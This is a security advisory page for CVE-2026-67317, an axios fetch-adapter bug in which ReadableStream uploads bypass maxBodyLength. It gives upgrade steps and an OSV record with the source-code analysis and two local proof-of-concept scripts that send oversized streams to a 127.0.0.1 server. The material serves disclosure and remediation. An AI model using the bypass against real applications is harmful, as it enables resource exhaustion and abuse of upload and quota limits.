CVE-2026-67317: Axios Fetch Adapter `ReadableStream` Uploads Bypass Vulnerability
MODERATECVE-2026-67317 is a MODERATE fetch adapter `readablestream` uploads bypass vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Axios libraries in the npm ecosystem. The issue involves fetch adapter `readablestream` uploads bypass `maxbodylength`. Remediation is available by upgrading affected packages to version 1.18.0.
CVE-2026-67317 at a Glance
How to Fix CVE-2026-67317
To remediate this vulnerability, upgrade all affected Axios dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install axios@1.18.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls axios
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-67317, inspect your project dependencies using npm:
npm ls axios
Analyze the terminal output to locate any version of Axios in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.18.0), your application is affected.
Note: The npm ls axios command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Axios, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-67317 Affected Axios Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
axios
|
npm |
≥ 1.7.0
< 1.18.0
|
1.18.0
|
References
Frequently Asked Questions
What is CVE-2026-67317?
Which Axios versions are affected?
What version fixes CVE-2026-67317?
Is axios affected?
What CWE is associated with CVE-2026-67317?
How can I check npm dependencies for CVE-2026-67317?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jqh4-m9w3-8hp9",
"modified" : "2026-09-01T18:38:59Z",
"published" : "2026-07-20T22:27:12Z",
"aliases" : [ "CVE-2026-67317" ],
"summary" : "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`",
"details" : "## Summary\n\naxios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: \"fetch\"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.\n\nThis affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.\n\n## Impact\n\nAn attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.\n\nThis does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard.\n\n## Affected Functionality\n\nAffected:\n- `adapter: \"fetch\"` or environments where axios selects the fetch adapter.\n- Request methods with bodies, such as `POST`, `PUT`, and `PATCH`.\n- `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`.\n- Configurations that set `maxBodyLength` to a finite value.\n\nNot affected:\n- Axios versions before the fetch adapter was introduced.\n- The Node HTTP adapter stream enforcement path.\n- Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`.\n\n## Technical Details\n\nIn `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present.\n\nThe `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`.\n\nWhen `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap.\n\nThe expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`.\n\n## Proof of Concept of Attack\n\nRun from the axios repo root on Node 18+ against an affected version:\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) => {\n let received = 0;\n req.on('data', (chunk) => {\n received += chunk.length;\n });\n req.on('end', () => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst { port } = server.address();\n\nfunction makeReadableStream(totalBytes) {\n const chunk = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n\n return new ReadableStream({\n pull(controller) {\n if (remaining <= 0) {\n controller.close();\n return;\n }\n\n const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: 'fetch',\n maxBodyLength: LIMIT,\n headers: { 'content-type': 'application/octet-stream' },\n }\n );\n\n console.log(response.data);\n} finally {\n server.close();\n}\n```\n\nExpected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`.\n\n## Workarounds\n\nUse the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.\n\n<details>\n<summary>Original Report</summary>\n\n### Summary\naxios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.\n\n### Details\nIn lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:\n\nfetch.js Lines 121-155\n```\n const getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n if (utils.isBlob(body)) {\n return body.size;\n }\n if (utils.isSpecCompliantForm(body)) {\n const _request = new Request(platform.origin, {\n method: 'POST',\n body,\n });\n return (await _request.arrayBuffer()).byteLength;\n }\n if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n return body.byteLength;\n }\n if (utils.isURLSearchParams(body)) {\n body = body + '';\n }\n if (utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n };\n const resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n return length == null ? getBodyLength(body) : length;\n };\n```\n\nFor a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:\n\nfetch.js Lines 214-232\n```\n // Enforce maxBodyLength against the outbound request body before dispatch.\n // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than\n // maxBodyLength limit'). Skip when the body length cannot be determined\n // (e.g. a live ReadableStream supplied by the caller).\n if (hasMaxBodyLength && method !== 'get' && method !== 'head') {\n const outboundLength = await resolveBodyLength(headers, data);\n if (\n typeof outboundLength === 'number' &&\n isFinite(outboundLength) &&\n outboundLength > maxBodyLength\n ) {\n throw new AxiosError(\n 'Request body larger than maxBodyLength limit',\n AxiosError.ERR_BAD_REQUEST,\n config,\n request\n );\n }\n }\n```\n\nThe in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:\n\nfetch.js Lines 253-261\n```\n if (_request.body) {\n const [onProgress, flush] = progressEventDecorator(\n requestContentLength,\n progressEventReducer(asyncDecorator(onUploadProgress))\n );\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n }\n```\nThe body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) => {\n let received = 0;\n req.on('data', (chunk) => {\n received += chunk.length;\n });\n req.on('end', () => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n req.on('error', () => {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeReadableStream(totalBytes) {\n const CHUNK = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n return new ReadableStream({\n pull(controller) {\n if (remaining <= 0) {\n controller.close();\n return;\n }\n const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: 'fetch',\n maxBodyLength: LIMIT,\n headers: { 'content-type': 'application/octet-stream' },\n // No content-length: the stream's total length is unknown ahead of\n // dispatch, which is exactly the vulnerable code path.\n }\n );\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err && (err.code || err.message) };\n }\n\n console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');\n console.log('axios result:', JSON.stringify(result));\n\n const ok =\n result &&\n result.status === 200 &&\n result.data &&\n typeof result.data === 'object' &&\n result.data.received === PAYLOAD_BYTES &&\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');\n process.exitCode = 1;\n }\n} finally {\n server.close();\n}\n```\n\n### Impact\n- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).\n- Bypass of cost / quota guards on upstream APIs.\n- Resource exhaustion against the runtime's network stack and against upstream peers.\n</details>",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "axios"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.7.0"
}, {
"fixed" : "1.18.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67317"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-68947"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/pull/11000"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/axios/axios"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/releases/tag/v1.18.0"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-20T22:27:12Z",
"nvd_published_at" : "2026-08-06T22:18:25Z"
}
}